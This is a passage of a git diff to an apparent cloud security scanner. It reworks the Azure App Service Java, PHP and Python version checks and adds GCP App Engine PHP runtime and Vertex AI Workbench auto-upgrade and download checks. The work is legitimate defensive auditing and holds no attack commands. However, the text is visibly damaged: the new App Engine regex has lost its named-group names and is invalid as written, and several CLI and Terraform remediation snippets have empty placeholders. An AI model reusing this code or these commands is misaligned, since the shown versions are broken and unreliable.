subscription_id, subscription_id
)
for app in apps.values():
- linux_framework = getattr(app.configurations, "linux_fx_version", "")
- windows_framework_version = getattr(
- app.configurations, "java_version", None
+ # The SDK can return None for linuxFxVersion, which getattr preserves
+ linux_framework = (
+ getattr(app.configurations, "linux_fx_version", "") or ""
)
+ windows_version = getattr(app.configurations, "java_version", None)
- if "java" in linux_framework.lower() or windows_framework_version:
- report = Check_Report_Azure(metadata=self.metadata(), resource=app)
- report.subscription = subscription_id
- report.status = "FAIL"
- java_latest_version = app_client.audit_config.get(
- "java_latest_version", "17"
- )
- report.status_extended = f"Java version is set to '{f'java{windows_framework_version}' if windows_framework_version else linux_framework}', but should be set to 'java {java_latest_version}' for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
+ if "java" not in linux_framework.lower() and not windows_version:
+ continue
- if (
- f"java{java_latest_version}" in linux_framework
- or java_latest_version == windows_framework_version
- ):
- report.status = "PASS"
- report.status_extended = f"Java version is set to 'java {java_latest_version}' for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
+ framework = (
+ linux_framework
+ if "java" in linux_framework.lower()
+ else f"java{windows_version}"
+ )
+ minimum = app_client.audit_config.get("java_latest_version") or "17"
- findings.append(report)
+ report = Check_Report_Azure(metadata=self.metadata(), resource=app)
+ report.subscription = subscription_id
+ report.status = "FAIL"
+ report.status_extended = f"Java version is set to '{framework}', which is below the minimum supported version 'java {minimum}', for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
+
+ if runtime_version_at_least(
+ parse_java_version(framework), parse_java_version(minimum)
+ ):
+ report.status = "PASS"
+ report.status_extended = f"Java version is set to '{framework}', which meets the minimum supported version 'java {minimum}', for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
+
+ findings.append(report)
return findings
diff --git a/prowler/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest.metadata.json b/prowler/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest.metadata.json
index 41f90cac3d..9be29c47fd 100644
--- a/prowler/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest.metadata.json
+++ b/prowler/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest.metadata.json
@@ -1,7 +1,7 @@
{
"Provider": "azure",
"CheckID": "app_ensure_php_version_is_latest",
- "CheckTitle": "App Service web app uses the latest supported PHP version or 8.2 by default",
+ "CheckTitle": "App Service web app runs a supported PHP version (8.5 or newer by default)",
"CheckType": [],
"ServiceName": "app",
"SubServiceName": "",
@@ -9,7 +9,7 @@
"Severity": "low",
"ResourceType": "microsoft.web/sites",
"ResourceGroup": "serverless",
- "Description": "**Azure App Service web apps** running **PHP** are evaluated to ensure the runtime is configured to the **latest supported** release. The finding compares the app's PHP stack (from `linuxFxVersion` or `php_version`) with the newest available version.",
+ "Description": "**Azure App Service web apps** running **PHP** are evaluated to ensure the runtime is at or above the configured **minimum supported** release. The finding compares the app's PHP stack (from `linuxFxVersion` or `php_version`) with `php_latest_version` (`8.5` by default); any version at or above it passes.",
"Risk": "Using **outdated PHP** enables exploitation of known flaws, including **remote code execution**, causing secret disclosure (confidentiality), unauthorized changes (integrity), and crashes or downtime (availability). Deprecated versions lack patches, widening exposure and instability.",
"RelatedUrl": "",
"AdditionalURLs": [
@@ -19,10 +19,10 @@
],
"Remediation": {
"Code": {
- "CLI": "az webapp config set --resource-group --name --linux-fx-version \"PHP|8.2\"",
- "NativeIaC": "```bicep\n// Update App Service runtime to latest PHP\nresource appConfig 'Microsoft.Web/sites/config@2022-09-01' = {\n name: '/web'\n properties: {\n linuxFxVersion: 'PHP|8.2' // Critical: sets the app runtime to PHP 8.2 (latest) to pass the check\n }\n}\n```",
- "Other": "1. In Azure Portal, go to App Services and select your app\n2. Navigate to Settings > Configuration > General settings\n3. Under Stack settings, select PHP and set Version to 8.2\n4. Click Save and confirm the restart",
- "Terraform": "```hcl\n# Set latest PHP version on Linux Web App\nresource \"azurerm_linux_web_app\" \"app\" {\n name = \"\"\n resource_group_name = \"\"\n location = \"\"\n service_plan_id = \"\"\n\n site_config {\n application_stack {\n php_version = \"8.2\" # Critical: sets PHP to latest to pass the check\n }\n }\n}\n```"
+ "CLI": "az webapp config set --resource-group --name --linux-fx-version \"PHP|8.5\"",
+ "NativeIaC": "```bicep\n// Update App Service runtime to latest PHP\nresource appConfig 'Microsoft.Web/sites/config@2022-09-01' = {\n name: '/web'\n properties: {\n linuxFxVersion: 'PHP|8.5' // Critical: sets the app runtime to PHP 8.5 (latest) to pass the check\n }\n}\n```",
+ "Other": "1. In Azure Portal, go to App Services and select your app\n2. Navigate to Settings > Configuration > General settings\n3. Under Stack settings, select PHP and set Version to 8.5\n4. Click Save and confirm the restart",
+ "Terraform": "```hcl\n# Set latest PHP version on Linux Web App\nresource \"azurerm_linux_web_app\" \"app\" {\n name = \"\"\n resource_group_name = \"\"\n location = \"\"\n service_plan_id = \"\"\n\n site_config {\n application_stack {\n php_version = \"8.5\" # Critical: sets PHP to latest to pass the check\n }\n }\n}\n```"
},
"Recommendation": {
"Text": "Standardize on the **latest supported PHP** and avoid EoL releases. Update promptly after security advisories, validate in staging, and automate version governance across apps. Prefer supported Linux runtimes, limit optional extensions, and apply **defense in depth** and **least privilege** to reduce blast radius.",
@@ -34,5 +34,5 @@
],
"DependsOn": [],
"RelatedTo": [],
- "Notes": "If your app is written using version-dependent features or libraries, they may not be available on the latest version. If you wish to upgrade, research the impact thoroughly. Upgrading may have unforeseen consequences that could result in downtime"
+ "Notes": "App Service exposes only the PHP major.minor version, not the patch level, so this check cannot confirm a specific patch release is deployed. If your app depends on version-specific features or libraries, research the impact before upgrading."
}
diff --git a/prowler/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest.py b/prowler/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest.py
index 7ccd31fbb5..260a6f9814 100644
--- a/prowler/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest.py
+++ b/prowler/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest.py
@@ -1,4 +1,8 @@
from prowler.lib.check.models import Check, Check_Report_Azure
+from prowler.providers.azure.lib.runtime.runtime_version import (
+ parse_runtime_version,
+ runtime_version_at_least,
+)
from prowler.providers.azure.services.app.app_client import app_client
@@ -14,29 +18,33 @@ class app_ensure_php_version_is_latest(Check):
subscription_id, subscription_id
)
for app in apps.values():
- framework = getattr(app.configurations, "linux_fx_version", "")
+ # The SDK can return None for linuxFxVersion, which getattr preserves
+ linux_framework = (
+ getattr(app.configurations, "linux_fx_version", "") or ""
+ )
+ windows_version = getattr(app.configurations, "php_version", "")
- if "php" in framework.lower() or getattr(
- app.configurations, "php_version", ""
+ if "php" not in linux_framework.lower() and not windows_version:
+ continue
+
+ framework = (
+ linux_framework
+ if "php" in linux_framework.lower()
+ else windows_version
+ )
+ minimum = app_client.audit_config.get("php_latest_version") or "8.5"
+
+ report = Check_Report_Azure(metadata=self.metadata(), resource=app)
+ report.subscription = subscription_id
+ report.status = "FAIL"
+ report.status_extended = f"PHP version is set to '{framework}', which is below the minimum supported version '{minimum}', for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
+
+ if runtime_version_at_least(
+ parse_runtime_version(framework), parse_runtime_version(minimum)
):
- report = Check_Report_Azure(metadata=self.metadata(), resource=app)
- report.subscription = subscription_id
- report.status = "FAIL"
+ report.status = "PASS"
+ report.status_extended = f"PHP version is set to '{framework}', which meets the minimum supported version '{minimum}', for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
- php_latest_version = app_client.audit_config.get(
- "php_latest_version", "8.2"
- )
-
- report.status_extended = f"PHP version is set to '{framework}', the latest version that you could use is the '{php_latest_version}' version, for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
-
- if (
- php_latest_version in framework
- or getattr(app.configurations, "php_version", None)
- == php_latest_version
- ):
- report.status = "PASS"
- report.status_extended = f"PHP version is set to '{php_latest_version}' for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
-
- findings.append(report)
+ findings.append(report)
return findings
diff --git a/prowler/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest.metadata.json b/prowler/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest.metadata.json
index 112d572bf9..d9d2739819 100644
--- a/prowler/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest.metadata.json
+++ b/prowler/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest.metadata.json
@@ -1,7 +1,7 @@
{
"Provider": "azure",
"CheckID": "app_ensure_python_version_is_latest",
- "CheckTitle": "App Service web app uses the latest supported Python version or 3.12 by default",
+ "CheckTitle": "App Service web app runs a supported Python version (3.12 or newer by default)",
"CheckType": [],
"ServiceName": "app",
"SubServiceName": "",
@@ -9,7 +9,7 @@
"Severity": "low",
"ResourceType": "microsoft.web/sites",
"ResourceGroup": "serverless",
- "Description": "**Azure App Service web apps** using **Python** are assessed to confirm the runtime is the **latest supported version** (e.g., `3.12`). The evaluation reads the app's stack configuration to detect Python usage and compares the configured runtime against the defined latest baseline.",
+ "Description": "**Azure App Service web apps** using **Python** are assessed to confirm the runtime is at or above the configured **minimum supported version** (`python_latest_version`, `3.12` by default). The evaluation reads the app's stack configuration to detect Python usage and compares the configured runtime against that baseline.",
"Risk": "Outdated **Python runtimes** weaken security and reliability:\n- Compromise confidentiality via known interpreter/SSL flaws\n- Undermine integrity through RCE and package exploitation\n- Reduce availability when deprecated versions lose patches and break under load",
"RelatedUrl": "",
"AdditionalURLs": [
diff --git a/prowler/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest.py b/prowler/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest.py
index 9ea6690843..659193d130 100644
--- a/prowler/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest.py
+++ b/prowler/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest.py
@@ -1,4 +1,8 @@
from prowler.lib.check.models import Check, Check_Report_Azure
+from prowler.providers.azure.lib.runtime.runtime_version import (
+ parse_runtime_version,
+ runtime_version_at_least,
+)
from prowler.providers.azure.services.app.app_client import app_client
@@ -14,27 +18,33 @@ class app_ensure_python_version_is_latest(Check):
subscription_id, subscription_id
)
for app in apps.values():
- framework = getattr(app.configurations, "linux_fx_version", "")
+ # The SDK can return None for linuxFxVersion, which getattr preserves
+ linux_framework = (
+ getattr(app.configurations, "linux_fx_version", "") or ""
+ )
+ windows_version = getattr(app.configurations, "python_version", "")
- if "python" in framework.lower() or getattr(
- app.configurations, "python_version", ""
+ if "python" not in linux_framework.lower() and not windows_version:
+ continue
+
+ framework = (
+ linux_framework
+ if "python" in linux_framework.lower()
+ else windows_version
+ )
+ minimum = app_client.audit_config.get("python_latest_version") or "3.12"
+
+ report = Check_Report_Azure(metadata=self.metadata(), resource=app)
+ report.subscription = subscription_id
+ report.status = "FAIL"
+ report.status_extended = f"Python version is set to '{framework}', which is below the minimum supported version '{minimum}', for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
+
+ if runtime_version_at_least(
+ parse_runtime_version(framework), parse_runtime_version(minimum)
):
- report = Check_Report_Azure(metadata=self.metadata(), resource=app)
- report.subscription = subscription_id
- report.status = "FAIL"
- python_latest_version = app_client.audit_config.get(
- "python_latest_version", "3.12"
- )
- report.status_extended = f"Python version is '{framework}', the latest version that you could use is the '{python_latest_version}' version, for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
+ report.status = "PASS"
+ report.status_extended = f"Python version is set to '{framework}', which meets the minimum supported version '{minimum}', for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
- if (
- python_latest_version in framework
- or getattr(app.configurations, "python_version", None)
- == python_latest_version
- ):
- report.status = "PASS"
- report.status_extended = f"Python version is set to '{python_latest_version}' for app '{app.name}' in subscription '{subscription_name} ({subscription_id})'."
-
- findings.append(report)
+ findings.append(report)
return findings
diff --git a/prowler/providers/gcp/services/appengine/__init__.py b/prowler/providers/gcp/services/appengine/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/gcp/services/appengine/appengine_client.py b/prowler/providers/gcp/services/appengine/appengine_client.py
new file mode 100644
index 0000000000..62d49c984b
--- /dev/null
+++ b/prowler/providers/gcp/services/appengine/appengine_client.py
@@ -0,0 +1,4 @@
+from prowler.providers.common.provider import Provider
+from prowler.providers.gcp.services.appengine.appengine_service import AppEngine
+
+appengine_client = AppEngine(Provider.get_global_provider())
diff --git a/prowler/providers/gcp/services/appengine/appengine_service.py b/prowler/providers/gcp/services/appengine/appengine_service.py
new file mode 100644
index 0000000000..20eabf1eb6
--- /dev/null
+++ b/prowler/providers/gcp/services/appengine/appengine_service.py
@@ -0,0 +1,109 @@
+from googleapiclient.errors import HttpError
+from pydantic.v1 import BaseModel
+
+from prowler.lib.logger import logger
+from prowler.providers.gcp.config import DEFAULT_RETRY_ATTEMPTS
+from prowler.providers.gcp.gcp_provider import GcpProvider
+from prowler.providers.gcp.lib.service.service import GCPService
+
+
+class AppEngine(GCPService):
+ """App Engine Admin API client exposing every service version per project."""
+
+ def __init__(self, provider: GcpProvider) -> None:
+ super().__init__("appengine", provider)
+ self.versions = []
+ self._get_versions()
+
+ def _get_versions(self) -> None:
+ for project_id in self.project_ids:
+ try:
+ app = (
+ self.client.apps()
+ .get(appsId=project_id)
+ .execute(num_retries=DEFAULT_RETRY_ATTEMPTS)
+ )
+ except HttpError as http_error:
+ # 404 means the API is enabled but no App Engine application exists
+ if http_error.resp.status == 404:
+ logger.warning(
+ f"{project_id} -- App Engine API is enabled but no application exists"
+ )
+ else:
+ logger.error(
+ f"{project_id} -- {http_error.__class__.__name__}[{http_error.__traceback__.tb_lineno}]: {http_error}"
+ )
+ continue
+ except Exception as error:
+ logger.error(
+ f"{project_id} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}"
+ )
+ continue
+
+ location = app.get("locationId", "")
+ try:
+ services = self.client.apps().services()
+ services_request = services.list(appsId=project_id)
+ while services_request is not None:
+ services_response = services_request.execute(
+ num_retries=DEFAULT_RETRY_ATTEMPTS
+ )
+ for service in services_response.get("services", []):
+ service_id = service.get("id", "")
+ self._get_service_versions(project_id, location, service_id)
+ services_request = services.list_next(
+ previous_request=services_request,
+ previous_response=services_response,
+ )
+ except Exception as error:
+ logger.error(
+ f"{project_id} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}"
+ )
+
+ def _get_service_versions(
+ self, project_id: str, location: str, service_id: str
+ ) -> None:
+ try:
+ versions = self.client.apps().services().versions()
+ request = versions.list(appsId=project_id, servicesId=service_id)
+ while request is not None:
+ response = request.execute(num_retries=DEFAULT_RETRY_ATTEMPTS)
+ for version in response.get("versions", []):
+ version_id = version.get("id", "")
+ self.versions.append(
+ Version(
+ id=version.get(
+ "name",
+ f"apps/{project_id}/services/{service_id}/versions/{version_id}",
+ ),
+ name=f"{service_id}/{version_id}",
+ version_id=version_id,
+ service=service_id,
+ project_id=project_id,
+ location=location,
+ runtime=version.get("runtime", ""),
+ env=version.get("env", "standard"),
+ serving_status=version.get("servingStatus", "SERVING"),
+ )
+ )
+ request = versions.list_next(
+ previous_request=request, previous_response=response
+ )
+ except Exception as error:
+ logger.error(
+ f"{project_id} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}"
+ )
+
+
+class Version(BaseModel):
+ """App Engine service version consumed by GCP checks."""
+
+ id: str
+ name: str
+ version_id: str
+ service: str
+ project_id: str
+ location: str
+ runtime: str
+ env: str = "standard"
+ serving_status: str = "SERVING"
diff --git a/prowler/providers/gcp/services/appengine/appengine_version_php_runtime_supported/__init__.py b/prowler/providers/gcp/services/appengine/appengine_version_php_runtime_supported/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported.metadata.json b/prowler/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported.metadata.json
new file mode 100644
index 0000000000..f3687fbeb7
--- /dev/null
+++ b/prowler/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported.metadata.json
@@ -0,0 +1,38 @@
+{
+ "Provider": "gcp",
+ "CheckID": "appengine_version_php_runtime_supported",
+ "CheckTitle": "App Engine serving version runs a supported PHP runtime",
+ "CheckType": [],
+ "ServiceName": "appengine",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "",
+ "Severity": "critical",
+ "ResourceType": "appengine.googleapis.com/Version",
+ "Description": "**App Engine** serving versions that run **PHP** are evaluated to confirm the runtime is a supported branch (`appengine_php_min_version`, `8.2` by default). Standard environment runtimes such as `php82` are compared directly; flexible environment versions are reported for manual verification because their PHP binary lives in a customer-built image that is not patched in place.",
+ "Risk": "PHP runtimes older than the supported branches are vulnerable to **unauthenticated remote code execution** through crafted web requests and receive no fixes, so a serving version pinned to one of them stays exploitable. Flexible environment versions keep the vulnerable binary until they are redeployed on a fixed release.",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://cloud.google.com/appengine/docs/standard/lifecycle/support-schedule",
+ "https://cloud.google.com/appengine/docs/standard/php-gen2/runtime",
+ "https://cloud.google.com/appengine/docs/flexible/php/runtime",
+ "https://www.php.net/supported-versions.php"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "gcloud app deploy app.yaml --project # with runtime: php84 in app.yaml",
+ "NativeIaC": "",
+ "Other": "1. Edit the service's app.yaml and set runtime to a supported PHP branch (for example php84)\n2. For flexible environment services, rebuild the image on a fixed PHP release\n3. Run gcloud app deploy to create a new version\n4. Route traffic to the new version and stop or delete versions still on unsupported runtimes",
+ "Terraform": "```hcl\nresource \"google_app_engine_standard_app_version\" \"\" {\n version_id = \"v2\"\n service = \"default\"\n runtime = \"php84\" # Critical: supported PHP runtime to pass the check\n\n entrypoint {\n shell = \"serve index.php\"\n }\n\n deployment {\n zip {\n source_url = \"https://storage.googleapis.com//app.zip\"\n }\n }\n}\n```"
+ },
+ "Recommendation": {
+ "Text": "Deploy every App Engine service on a **supported PHP runtime** and redeploy whenever a branch approaches end of support. Standard environment runtimes on supported branches receive security fixes automatically; flexible environment images must be rebuilt and redeployed, so prefer the standard environment for PHP workloads where possible.",
+ "Url": "https://hub.prowler.com/check/appengine_version_php_runtime_supported"
+ }
+ },
+ "Categories": [
+ "vulnerabilities"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [],
+ "Notes": "Only versions with serving status SERVING and a PHP runtime are evaluated. Flexible environment versions are reported as MANUAL since the deployed PHP release is not visible through the Admin API; versions on the custom runtime are not evaluated at all because the Admin API does not expose which language they run."
+}
diff --git a/prowler/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported.py b/prowler/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported.py
new file mode 100644
index 0000000000..47b4edf537
--- /dev/null
+++ b/prowler/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported.py
@@ -0,0 +1,52 @@
+import re
+
+from prowler.lib.check.models import Check, Check_Report_GCP
+from prowler.providers.gcp.services.appengine.appengine_client import appengine_client
+
+# Standard environment runtimes look like "php82"; flexible ones are just "php"
+PHP_RUNTIME_RE = re.compile(r"^php(?P\d)(?P\d+)?$", re.IGNORECASE)
+
+
+def _version_tuple(value: str) -> tuple[int, ...]:
+ return tuple(int(part) for part in value.split(".")) if value else ()
+
+
+class appengine_version_php_runtime_supported(Check):
+ """Check that serving App Engine versions run a supported PHP runtime."""
+
+ def execute(self) -> list[Check_Report_GCP]:
+ findings = []
+ # `or` covers an explicit null in the config file, which .get() would return as None
+ minimum = (
+ appengine_client.audit_config.get("appengine_php_min_version") or "8.2"
+ )
+
+ for version in appengine_client.versions:
+ runtime = version.runtime.lower()
+ if not runtime.startswith("php") or version.serving_status != "SERVING":
+ continue
+
+ report = Check_Report_GCP(
+ metadata=self.metadata(),
+ resource=version,
+ resource_id=version.id,
+ )
+ match = PHP_RUNTIME_RE.match(runtime)
+
+ if version.env.lower() in ("flex", "flexible") or not (
+ match and match["minor"]
+ ):
+ report.status = "MANUAL"
+ report.status_extended = f"App Engine version {version.name} runs on the flexible environment with runtime '{version.runtime}', which is not patched in place; redeploy it on a fixed PHP release ({minimum} or newer) and verify the image."
+ else:
+ php_version = f"{match['major']}.{match['minor']}"
+ if _version_tuple(php_version) < _version_tuple(minimum):
+ report.status = "FAIL"
+ report.status_extended = f"App Engine version {version.name} runs PHP {php_version} ('{version.runtime}'), a runtime that no longer receives security fixes (minimum supported version is {minimum})."
+ else:
+ report.status = "PASS"
+ report.status_extended = f"App Engine version {version.name} runs PHP {php_version} ('{version.runtime}'), a supported runtime that receives security fixes automatically."
+
+ findings.append(report)
+
+ return findings
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_service.py b/prowler/providers/gcp/services/vertexai/vertexai_service.py
index 9cb3e5ef2d..3a789d3aac 100644
--- a/prowler/providers/gcp/services/vertexai/vertexai_service.py
+++ b/prowler/providers/gcp/services/vertexai/vertexai_service.py
@@ -9,6 +9,17 @@ from prowler.providers.gcp.lib.service.service import GCPService
# Workbench metadata key that controls sudo access for the notebook user.
ROOT_ACCESS_DISABLED_METADATA_KEY = "notebook-disable-root"
+# Workbench metadata key that removes the JupyterLab terminal.
+TERMINAL_ACCESS_DISABLED_METADATA_KEY = "notebook-disable-terminal"
+# Workbench metadata key that blocks file downloads from the JupyterLab UI.
+FILE_DOWNLOAD_DISABLED_METADATA_KEY = "notebook-disable-downloads"
+# Workbench metadata key holding the Unix-cron schedule for automatic upgrades.
+UPGRADE_SCHEDULE_METADATA_KEY = "notebook-upgrade-schedule"
+
+
+def _metadata_flag_enabled(metadata: dict, key: str) -> bool:
+ """Return True when a boolean Workbench metadata key is set to `true`."""
+ return str(metadata.get(key, "")).lower() == "true"
class VertexAI(GCPService):
@@ -49,10 +60,21 @@ class VertexAI(GCPService):
public_ip_disabled=gce_setup.get(
"disablePublicIp", False
),
- root_access_disabled=str(
- metadata.get(ROOT_ACCESS_DISABLED_METADATA_KEY, "")
- ).lower()
- == "true",
+ root_access_disabled=_metadata_flag_enabled(
+ metadata, ROOT_ACCESS_DISABLED_METADATA_KEY
+ ),
+ terminal_access_disabled=_metadata_flag_enabled(
+ metadata, TERMINAL_ACCESS_DISABLED_METADATA_KEY
+ ),
+ file_download_disabled=_metadata_flag_enabled(
+ metadata, FILE_DOWNLOAD_DISABLED_METADATA_KEY
+ ),
+ upgrade_schedule=(
+ str(
+ metadata.get(UPGRADE_SCHEDULE_METADATA_KEY, "")
+ ).strip()
+ or None
+ ),
network=(
network_interfaces[0].get("network")
if network_interfaces
@@ -86,4 +108,7 @@ class WorkbenchInstance(BaseModel):
state: str
public_ip_disabled: bool = False
root_access_disabled: bool = False
+ terminal_access_disabled: bool = False
+ file_download_disabled: bool = False
+ upgrade_schedule: Optional[str] = None
network: Optional[str] = None
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/__init__.py b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled.metadata.json b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled.metadata.json
new file mode 100644
index 0000000000..803d4b9fd6
--- /dev/null
+++ b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled.metadata.json
@@ -0,0 +1,38 @@
+{
+ "Provider": "gcp",
+ "CheckID": "vertexai_workbench_instance_auto_upgrade_enabled",
+ "CheckTitle": "Vertex AI Workbench instance has automatic upgrades scheduled",
+ "CheckType": [],
+ "ServiceName": "vertexai",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "",
+ "Severity": "low",
+ "ResourceType": "notebooks.googleapis.com/Instance",
+ "ResourceGroup": "ai_ml",
+ "Description": "**Vertex AI Workbench instances** are not upgraded automatically by default. The finding determines whether automatic upgrades are scheduled by setting the `notebook-upgrade-schedule` instance metadata key to a Unix-cron expression (GMT).",
+ "Risk": "Without scheduled upgrades, long-lived instances keep running outdated images:\n- **Known vulnerabilities**: JupyterLab, Python ML libraries, and OS packages stay unpatched against published CVEs\n- **Drift**: instances fall behind the image versions the rest of the organization has validated",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://cloud.google.com/vertex-ai/docs/workbench/instances/manage-metadata",
+ "https://cloud.google.com/vertex-ai/docs/workbench/instances/upgrade"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "gcloud workbench instances update --location= --metadata=notebook-upgrade-schedule=\"00 19 * * MON\"",
+ "NativeIaC": "",
+ "Other": "1. In Google Cloud Console, go to Vertex AI > Workbench > Instances\n2. Click the instance name to open the Instance details page\n3. In the Environment auto-upgrade section, set the upgrade schedule\n4. Click Submit",
+ "Terraform": "```hcl\nresource \"google_workbench_instance\" \"\" {\n name = \"\"\n location = \"\"\n\n gce_setup {\n metadata = {\n notebook-upgrade-schedule = \"00 19 * * MON\" # FIX: Upgrades the instance every Monday at 19:00 GMT\n }\n }\n}\n```"
+ },
+ "Recommendation": {
+ "Text": "Schedule automatic upgrades for every Workbench instance and pick a window that does not interrupt long-running jobs.\n- Store notebooks and data on the data disk or in Cloud Storage so upgrades do not lose work\n- Review release notes for breaking changes in preinstalled frameworks",
+ "Url": "https://hub.prowler.com/check/vertexai_workbench_instance_auto_upgrade_enabled"
+ }
+ },
+ "Categories": [
+ "vulnerabilities",
+ "gen-ai"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [],
+ "Notes": "The check only verifies that a schedule is set. It does not validate the cron expression or how often it runs."
+}
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled.py b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled.py
new file mode 100644
index 0000000000..f882e3c592
--- /dev/null
+++ b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled.py
@@ -0,0 +1,34 @@
+from prowler.lib.check.models import Check, Check_Report_GCP
+from prowler.providers.gcp.services.vertexai.vertexai_client import vertexai_client
+
+
+class vertexai_workbench_instance_auto_upgrade_enabled(Check):
+ """Ensure Vertex AI Workbench instances have automatic upgrades scheduled.
+
+ Workbench only upgrades an instance automatically when the
+ `notebook-upgrade-schedule` metadata key holds a Unix-cron schedule.
+ The check does not evaluate how often the schedule runs.
+ - PASS: The instance has a non-empty `notebook-upgrade-schedule`.
+ - FAIL: The instance is never upgraded automatically.
+ """
+
+ def execute(self) -> list[Check_Report_GCP]:
+ """Execute the automatic upgrade check across all Workbench instances.
+
+ Returns:
+ A list of `Check_Report_GCP` findings, one per non-deleted
+ Workbench instance.
+ """
+ findings = []
+ for instance in vertexai_client.workbench_instances:
+ if instance.state == "DELETED":
+ continue
+ report = Check_Report_GCP(metadata=self.metadata(), resource=instance)
+ if instance.upgrade_schedule:
+ report.status = "PASS"
+ report.status_extended = f"Vertex AI Workbench instance {instance.name} has automatic upgrades scheduled ({instance.upgrade_schedule})."
+ else:
+ report.status = "FAIL"
+ report.status_extended = f"Vertex AI Workbench instance {instance.name} does not have automatic upgrades scheduled."
+ findings.append(report)
+ return findings
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/__init__.py b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled.metadata.json b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled.metadata.json
new file mode 100644
index 0000000000..d42d80f751
--- /dev/null
+++ b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled.metadata.json
@@ -0,0 +1,39 @@
+{
+ "Provider": "gcp",
+ "CheckID": "vertexai_workbench_instance_file_download_disabled",
+ "CheckTitle": "Vertex AI Workbench instance has file downloads disabled",
+ "CheckType": [],
+ "ServiceName": "vertexai",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "",
+ "Severity": "medium",
+ "ResourceType": "notebooks.googleapis.com/Instance",
+ "ResourceGroup": "ai_ml",
+ "Description": "**Vertex AI Workbench instances** let JupyterLab users **download any file** from the instance through the browser by default. The finding determines whether file downloads are disabled by setting the `notebook-disable-downloads` instance metadata key to `true`.",
+ "Risk": "With downloads enabled, a notebook user, or anyone who hijacks their browser session, can:\n- **Exfiltration**: save training data, query results from BigQuery or Cloud Storage, and model artifacts to an unmanaged device in a few clicks\n- **Bypass data controls**: move data outside VPC Service Controls perimeters and data loss prevention controls that apply to cloud storage",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://cloud.google.com/vertex-ai/docs/workbench/instances/manage-metadata",
+ "https://cloud.google.com/vertex-ai/docs/workbench/instances/introduction"
+ ],
+ "Remediation": {
